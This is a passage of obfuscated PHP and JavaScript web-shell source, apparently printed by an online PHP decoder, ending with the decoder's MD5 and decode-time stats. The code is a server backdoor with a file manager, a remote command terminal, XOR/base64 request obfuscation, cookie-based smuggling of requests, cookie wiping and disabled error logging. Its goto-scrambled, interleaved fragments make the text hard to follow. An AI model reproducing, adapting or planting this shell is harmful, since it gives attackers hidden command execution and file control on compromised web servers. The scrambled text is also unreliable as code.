(Exception $e) { $v = NULL; } if (is_int($v)) { $this->s = $v; return $v; } } } $this->s = -1; return -1; } function getCTime() { if (isset($this->c)) { return $this->c; } if (!isset($this->i)) { $this->stat(); } if ($this->i !== FALSE) { $this->c = $this->i[10]; return $this->c; } $v = filectime($this->fp); if (is_int($v)) { $this->c = $v; return $v; } if (PHP_VERSION >= "\65") { if (!isset($this->fi)) { $this->spl(); } if ($this->fi !== FALSE) { try { $v = $this->fi->getCTime(); } catch (Exception $e) { $v = NULL; } if (is_int($v)) { $this->c = $v; return $v; } } } $this->c = 0; return 0; } function getMTime() { if (isset($this->m)) { return $this->m; } if (!isset($this->i)) { $this->stat(); } if ($this->i !== FALSE) { $this->m = $this->i[9]; return $this->m; } $v = filemtime($this->fp); if (is_int($v)) { $this->m = $v; return $v; } if (PHP_VERSION >= "\65") { if (!isset($this->fi)) { $this->spl(); } if ($this->fi !== FALSE) { try { $v = $this->fi->getMTime(); } catch (Exception $e) { $v = NULL; } if (is_int($v)) { $this->m = $v; return $v; } } } $this->m = 0; return 0; } function getOwner() { if (isset($this->o)) { return $this->o; } if (!isset($this->i)) { $this->stat(); } if ($this->i !== FALSE) { $this->o = $this->i[4]; return $this->o; } $v = fileowner($this->fp); if (is_int($v)) { $this->o = $v; return $v; } if (PHP_VERSION >= "\65") { if (!isset($this->fi)) { $this->spl(); } if ($this->fi !== FALSE) { try { $v = $this->fi->getOwner(); } catch (Exception $e) { $v = NULL; } if (is_int($v)) { $this->o = $v; return $v; } } } $this->o = -1; return -1; } function getGroup() { if (isset($this->g)) { return $this->g; } if (!isset($this->i)) { $this->stat(); } if ($this->i !== FALSE) { $this->g = $this->i[5]; return $this->g; } $v = filegroup($this->fp); if (is_int($v)) { $this->g = $v; return $v; } if (PHP_VERSION >= "\x35") { if (!isset($this->fi)) { $this->spl(); } if ($this->fi !== FALSE) { try { $v = $this->fi->getGroup(); } catch (Exception $e) { $v = NULL; } if (is_int($v)) { $this->g = $v; return $v; } } } $this->g = -1; return -1; } function getPerms() { if (isset($this->p)) { return $this->p; } if (!isset($this->i)) { $this->stat(); } if ($this->i !== FALSE) { $this->p = $this->i[2]; return $this->p; } $v = fileperms($this->fp); if (is_int($v)) { $this->p = $v; return $v; } if (PHP_VERSION >= "\x35") { if (!isset($this->fi)) { $this->spl(); } if ($this->fi !== FALSE) { try { $v = $this->fi->getPerms(); } catch (Exception $e) { $v = NULL; } if (is_int($v)) { $this->p = $v; return $v; } } } $this->p = 0; return 0; } function isReadable() { if (isset($this->r)) { return $this->r; } $v = is_readable($this->fp); if (is_bool($v)) { $this->r = $v; return $v; } if (PHP_VERSION >= "\x35") { if (!isset($this->fi)) { $this->spl(); } if ($this->fi !== FALSE) { try { $v = $this->fi->isReadable(); } catch (Exception $e) { $v = NULL; } if (is_bool($v)) { $this->r = $v; return $v; } } } $this->r = FALSE; return FALSE; } function isWritable() { if (isset($this->w)) { return $this->w; } $v = is_writable($this->fp); if (is_bool($v)) { $this->w = $v; return $v; } if (PHP_VERSION >= "\x35") { if (!isset($this->fi)) { $this->spl(); } if ($this->fi !== FALSE) { try { $v = $this->fi->isWritable(); } catch (Exception $e) { $v = NULL; } if (is_bool($v)) { $this->w = $v; return $v; } } } $this->w = FALSE; return FALSE; } function getMode() { $v = 0; if ($this->isReadable()) { $v += 1; } if ($this->isWritable()) { $v += 2; } return $v; } function stat() { $v = stat($this->fp); if (is_array($v)) { $this->i = $v; return; } $v = lstat($this->fp); $this->i = is_array($v) ? $v : FALSE; } function type() { $v = filetype($this->rp); $this->t = $v ? $v : FALSE; } function spl() { $this->fi = FALSE; if (PHP_VERSION >= "\65") { if (PHP_VERSION >= "\65\56\x31\x2e\62") { try { $this->fi = new SplFileInfo($this->rp); } catch (Exception $e) { $this->fi = FALSE; } } } } } goto tCVdW; HPJQi: ?>
' + ign);
   else {
    val = elmById('spnPth').textContent;
    ajxSnd(elmById('spnUsrHst').textContent + ':' + val + '$ ' + cmd, onExec, frm, {
     a: 't',
     p: val
    }, elmById('slctTrmCS').value);
   }
  }
 }
 frm.e.value = '';
 return false;
}

function onExec(div, data) {
 var cmd = div.childNodes[1].textContent.slice(0, -2);
 if (data === '\x03\x1E') return uiChngMsg(div, 'Error in command: ' + cmd, 'Err');
 data = data.slice(0, -3);
 var pos = data.lastIndexOf('\x03\x1E\x02\x0A');
 if (pos > -1) {
  var inf = data.slice(pos + 4).split('\n', 3);
  elmById('spnUsrHst').textContent = inf[0] + '@' + inf[1];
  elmById('spnPth').textContent = inf[2];
  data = data.slice(0, pos);
 } else data += '\n';
 if(elmById('cbIT').checked){
	elmById('divTrm').append(elmById('preTrm'));
	elmById('preTrm').textContent = cmd + '\n' + data + '\n' + elmById('preTrm').textContent;
 }
 else{
	elmById('divTrm').prepend(elmById('preTrm'));
	elmById('preTrm').textContent += cmd + '\n' + data + '\n';
	pos = elmById('divTrm');
	pos.scrollTop = pos.scrollHeight;
 }
 uiDelMsg(div);
}

function trmSaveState() {
 if (exeFuncs.length === 0) return;
 var e = elmById('frmTrm');
 strgSaveStr('trmShell', e.s.value);
 strgSaveBool('trmSilent', e.h.checked);
 strgSaveOpt('trmFunc', e.f.value);
 strgSaveOpt('trmLoadAs', e.c.value);
 strgSaveOpt('trmSendAs', elmById('slctTrmCS').value);
 strgSaveStr('trmPath', elmById('spnPth').textContent);
 strgSaveArr('trmHist', trmHist);
}

function trmRestoreState() {
 var cnt = exeFuncs.length;
 if (cnt === 0) {
  elmById('tabTrm').style.display = 'none';
  return;
 }
 var frm = elmById('frmTrm'),
  val = sessionStorage.getItem('trmFunc') | 0;
 for (var i = 0; i < cnt; ++i) {
  var opt = new Option(exeFuncs[i][1], exeFuncs[i][0]);
  if (exeFuncs[i][0] === val) opt.selected = true;
  frm.f.add(opt);
 }
 elmById('spnUsrHst').textContent = exeFuncs[0][2];
 val = sessionStorage.getItem('trmPath');
 elmById('spnPth').textContent = val === null ? exeFuncs[0][3] : val;
 strgRstrVal('trmShell', frm.s);
 strgRstrChck('trmSilent', frm.h);
 strgRstrVal('trmSendAs', 'slctTrmCS');
 strgRstrVal('trmLoadAs', frm.c);
}

function uiUpdInf(chld) {
 var div = elmById('divInfo');
 div.removeChild(div.lastChild);
 div.appendChild(chld);
}

function onInfMain(div, data) {
 var tbl = newElm('table', {
  id: 'tblInf'
 });
 for (var i = 0, l = data.length; i < l; ++i) {
  if (i > 0) tbl.insertRow(-1).appendChild(newElm('th', {
   colSpan: 2
  }));
  for (var key in data[i]) {
   var tr = tbl.insertRow(-1);
   tr.appendChild(newElm('th', {
    textContent: key
   }));
   tr.insertCell(1).textContent = data[i][key];
  }
 }
 uiUpdInf(tbl);
 uiDelMsg(div);
}

function onInfPHP(div, data) {
 var tbl = document.createElement('table');
 tbl.id = 'tblInf';
 for (var sct in data) {
  var tr = tbl.insertRow(-1);
  tr.appendChild(newElm('th', {
   colSpan: 2,
   textContent: sct
  }));
  for (var key in data[sct]) {
   tr = tbl.insertRow(-1);
   tr.appendChild(newElm('th', {
    textContent: key
   }));
   tr.insertCell(1).textContent = data[sct][key];
  }
 }
 uiUpdInf(tbl);
 uiDelMsg(div);
}

function ajxSnd(msg, clbck, frm, data, chrst) {

	RO = elmById('cbRO').checked;
	RR = elmById('cbRR').checked;
	TM = elmById('cbTM').checked;
	OI = elmById('cbOI').checked;

	 function obfuscate(data) {
	  if (obfKey === false || data.length < 2) return data;
	  var r = [],
	   l = data.length;
	  data = data.split('');
	  for (var i = 0; i < l; ++i) {
	   var c = (i % 2 === 0) ? data.pop() : data.shift();
	   r.push(c === obfKey ? '' : c);
	  }
	  return r.join(obfKey);
	 };

	 function cancel() {
	  document.body.removeChild(reqIfrm);
	  uiDelMsg(msgDiv);
	  return false;
	 };

	 function onResp() {
	  deleteAllCookies();

	  msgDiv.firstChild.onclick = uiClsMsg;
	  var doc = reqIfrm.contentDocument;
	  var xr = reqIfrm.getAttribute('xr');
	  var xc = reqIfrm.getAttribute('xc');
	  var resp = xr ? xr : doc.body.textContent;
	  var cset = xc ? xc : doc.characterSet;
	  var data = RO ? resp : getValue(resp);
	  document.body.removeChild(reqIfrm);

	  if (data.slice(0, 2) === '\x01\x02') {
	   if (data.slice(-3) === '\x17\x04\x10' && data.indexOf('\x03\x1E')) data = data.slice(2, -3);
	   else data = false;
	  } else try {
	   data = JSON.parse(data);
	  } catch (e) {
	   data = false;
	  }
	  if (data === false) uiNetErrMsg(msgDiv);
	  else if (clbck) clbck.call(frm, msgDiv, data, cset);
	  else uiDelMsg(msgDiv);
	 };

	 var msgDiv = uiMsg(msg),
	  obfKey = false,
	  reqIfrm = newElm('iframe', {
	   src: '',
	   name: 'ifrm' + (new Date().getTime())
	  }),
	  reqFrm = newElm('form', {
	   acceptCharset: (chrst ? chrst : 'UTF-8'),
	   action: window.location.href,
	   method: 'post',
	   target: reqIfrm.name
	  }),
	  elm;

	 if (RO) data.ro = '1';
	 if (TM) data.tm = '1';
	 if (obfKey !== false) data.k = obfKey;
	 elm = elmById('frmCstEnv');
	 if (elm.e.checked && elm.i.value !== '') {
	  data.j = [elm.f.value, elm.s.value, elm.i.value, ''];
	  if (elm.n.checked) data.j[3] = 'n';
	  if (elm.c.checked) data.j[3] += 'C';
	 }
	 for (var key in data)
	  if (Array.isArray(data[key]))
	   for (var i = 0, c = data[key].length; i < c; ++i) reqFrm.appendChild(newElm('input', {
	    type: 'hidden',
	    name: RR ? key + '['+ i +']' : setName(key + '['+ i +']'),
	    value: RR ? data[key][i]: setValue(data[key][i])
	   }));
	  else reqFrm.appendChild(newElm('input', {
	   type: 'hidden',
	   name: RR ? key : setName(key),
	   value: RR ? data[key] : setValue(data[key])
	  }));
	 if (frm)
	  for (var i = frm.elements.length - 1; i >= 0; --i) {
	   elm = frm.elements[i];
	   if (elm.name === '' || elm.disabled) continue;
	   if (elm.tagName === 'INPUT') {
	    if ((elm.type === 'checkbox' || elm.type === 'radio') && !elm.checked) continue;
	    if (elm.type === 'file') {
			if(RR){
		     reqFrm.enctype = 'multipart/form-data';
		     reqFrm.appendChild(elm.cloneNode(true));
			}
	     continue;
	    }
	   }
	   if (elm.value !== '' || elm.tagName === 'TEXTAREA') reqFrm.appendChild(newElm('input', {
	    type: 'hidden',
	    name: RR ? elm.name : setName(elm.name),
	    value: RR ? elm.value : setValue(elm.value)
	   }));
	  }

	 document.body.appendChild(reqFrm);
	 addEncKey(reqFrm);

	 status = false;
	 if(COOKIE && reqFrm.enctype != 'multipart/form-data'){
		status = submitViaCookie(reqFrm, false);
		if(status == 'SEND'){
			elements = reqFrm.childNodes;
			while(elements.length)
				for(i = 0; i < elements.length; i++)
					reqFrm.removeChild(elements[i]);
			reqFrm.method = 'get';
		}
		else
			reqFrm.method = 'post';
	 }

	 document.body.appendChild(reqIfrm);

	 if(status != 'CANCEL'){

		if(OI && reqFrm.method == 'get')
			reqIfrm.src = reqFrm.action;

		else if(!data.hasOwnProperty('d')){
			var xhr = new XMLHttpRequest();
			xhr.open(reqFrm.method, '', false);
			xhr.send(new FormData(reqFrm));
			reqIfrm.setAttribute('xr', xhr.responseText);
			reqIfrm.setAttribute('xc', xhr.getResponseHeader('content-type').split('=')[1]);
			reqIfrm.srcdoc = '';
		}
		else
			(COOKIE || !OI && reqFrm.method == 'get' ? window.location.href = window.location.pathname : reqFrm.submit());

		reqIfrm.onload = onResp;
	 }

	 document.body.removeChild(reqFrm);
	 msgDiv.firstChild.onclick = cancel;
	 setTimeout(deleteAllCookies, 100);// sorry :(

	 return false;
}
</script>

<script id="dataExe"type="text/data"><?php  goto RwG_t; IePeY: ?>
"onclick="onTblFilesClick(event)"><thead><tr><th width="20px"><input type="checkbox"onclick="uiCheckAll('Files', this.checked)"/></th><th>Name</th><th width="65px">Ext</th><th width="105px">Size</th><th width="145px">Modified (UTC)</th><th width="95px">Permission</th> <?php  goto BNZPY; mLSkC: function scriptInit() { if (!isset($GLOBALS["\104\105\102\125\107"])) { return; } define("\104", $GLOBALS["\x44\105\102\125\107"]); set_time_limit(D ? 15 : 0); error_reporting(D ? E_ALL : 0); ini_set("\x64\151\163\x70\154\141\x79\x5f\145\162\162\x6f\162\163", D ? "\117\x6e" : "\117\146\x66"); ini_set("\155\141\x78\x5f\145\170\x65\x63\x75\x74\151\157\x6e\137\x74\x69\155\145", D ? 15 : 0); ini_set("\x65\162\162\x6f\x72\x5f\x6c\x6f\147", NULL); ini_set("\154\x6f\x67\137\x65\162\162\x6f\162\x73", 0); } goto cyvHX; uPyOx: function samePath($a) { $p = NULL; foreach ($a as $v) { $v = array_slice(explode(DSC, rtrim($v, DSC)), 0, -1); if ($p === NULL) { $p = $v; } else { $k = array(); $c = count($p); $i = count($v); if ($i < $c) { $c = $i; } for ($i = 0; $i < $c; ++$i) { if ($p[$i] === $v[$i]) { $k[] = $p[$i]; } else { break; } } $p = $k; if ($i === 0) { break; } } } return count($p) === 0 ? '' : implode(DSC, $p) . DSC; } goto FRXQl; lFYjV: function nesc($v) { return "\x27" . str_replace("\47", "\x27\x22\x27\x22\47", $v) . "\47"; } goto NHyqa; T7UpU: function setValue($str) { return base64_encode(xorStr($str)); } goto TTe2v; oKPfv: echo $GLOBALS["\104\105\106\x41\x55\x4c\x54\137\124\x41\x42"] == "\x74\141\x62\x46\x4d" ? "\x77\151\x6e\144\157\x77\x2e\141\144\144\105\166\x65\156\x74\114\x69\163\164\x65\x6e\x65\162\50\x22\154\157\x61\x64\x22\54\146\x75\x6e\143\164\151\157\x6e\50\x29\173\x67\x6f\x54\x6f\x28\42\176\42\51\x3b\x7d\51" : ''; goto E6yQa; jBwCe: echo NIX ? "\x2f\142\151\156\x2f\x73\150" : ''; goto HJ0e3; tvptL: function t($s, $n = false) { if (!function_exists("\164\x6f\x6b\x65\x6e\x5f\x67\145\164\x5f\x61\x6c\x6c")) { return $s; } $s = ($n ? "\74\77\160\x68\x70\40" : '') . $s; foreach (token_get_all($s) as $t) { @($r .= (is_array($t) ? $t[1] : $t) . j()); } return $n ? substr($r, 6) : $r; } goto dvbb8; HJ0e3: ?>
"/></label><label><input type="checkbox"name="h"> Don't show errors</label><label><input type="checkbox" id="cbIT"/> Invert output</label><label>Use function: <select name="f"></select></label><div><span class="spnChrst"title="Send as..."><hr class="arwUp"/> <select id="slctTrmCS"><?php  goto i_T5O; ASF_h: function gName($id) { if ($id === -1) { return "\x3f"; } static $a = NULL, $f = FALSE; if ($a === NULL) { if ($v = getFile("\x2f\145\x74\143\x2f\147\x72\157\x75\160")) { $a = array(); $v = explode("\12", $v); foreach ($v as $i) { if ($i) { $i = explode("\72", $i, 4); $a[$i[2]] = $i[0]; } } } elseif (defined("\120\117\123\111\x58\137\x46\x5f\117\x4b") || function_exists("\x70\x6f\x73\x69\x78\137\x67\x65\x74\x67\162\x67\151\144")) { $f = (bool) posix_getgrgid(0); } } if ($a) { if (isset($a[$id])) { return $a[$id]; } elseif ($f) { if ($v = posix_getgrgid($id)) { return $v["\156\141\x6d\x65"]; } } } return $id; } goto CLGau; ttWuN: ?>
 <input type="text"name="p"value="<?php  goto cY2KI; ujA4J: $GLOBALS["\x52\105\115\117\124\x45\137\101\x44\104\x52"] = true; goto TUFOa; ZbnwP: die(makeOut($out));

Function Calls

None

Variables

None

Stats

MD5 27d739b4250693aaa7a00561b9476303
Eval Count 0
Decode Time 213 ms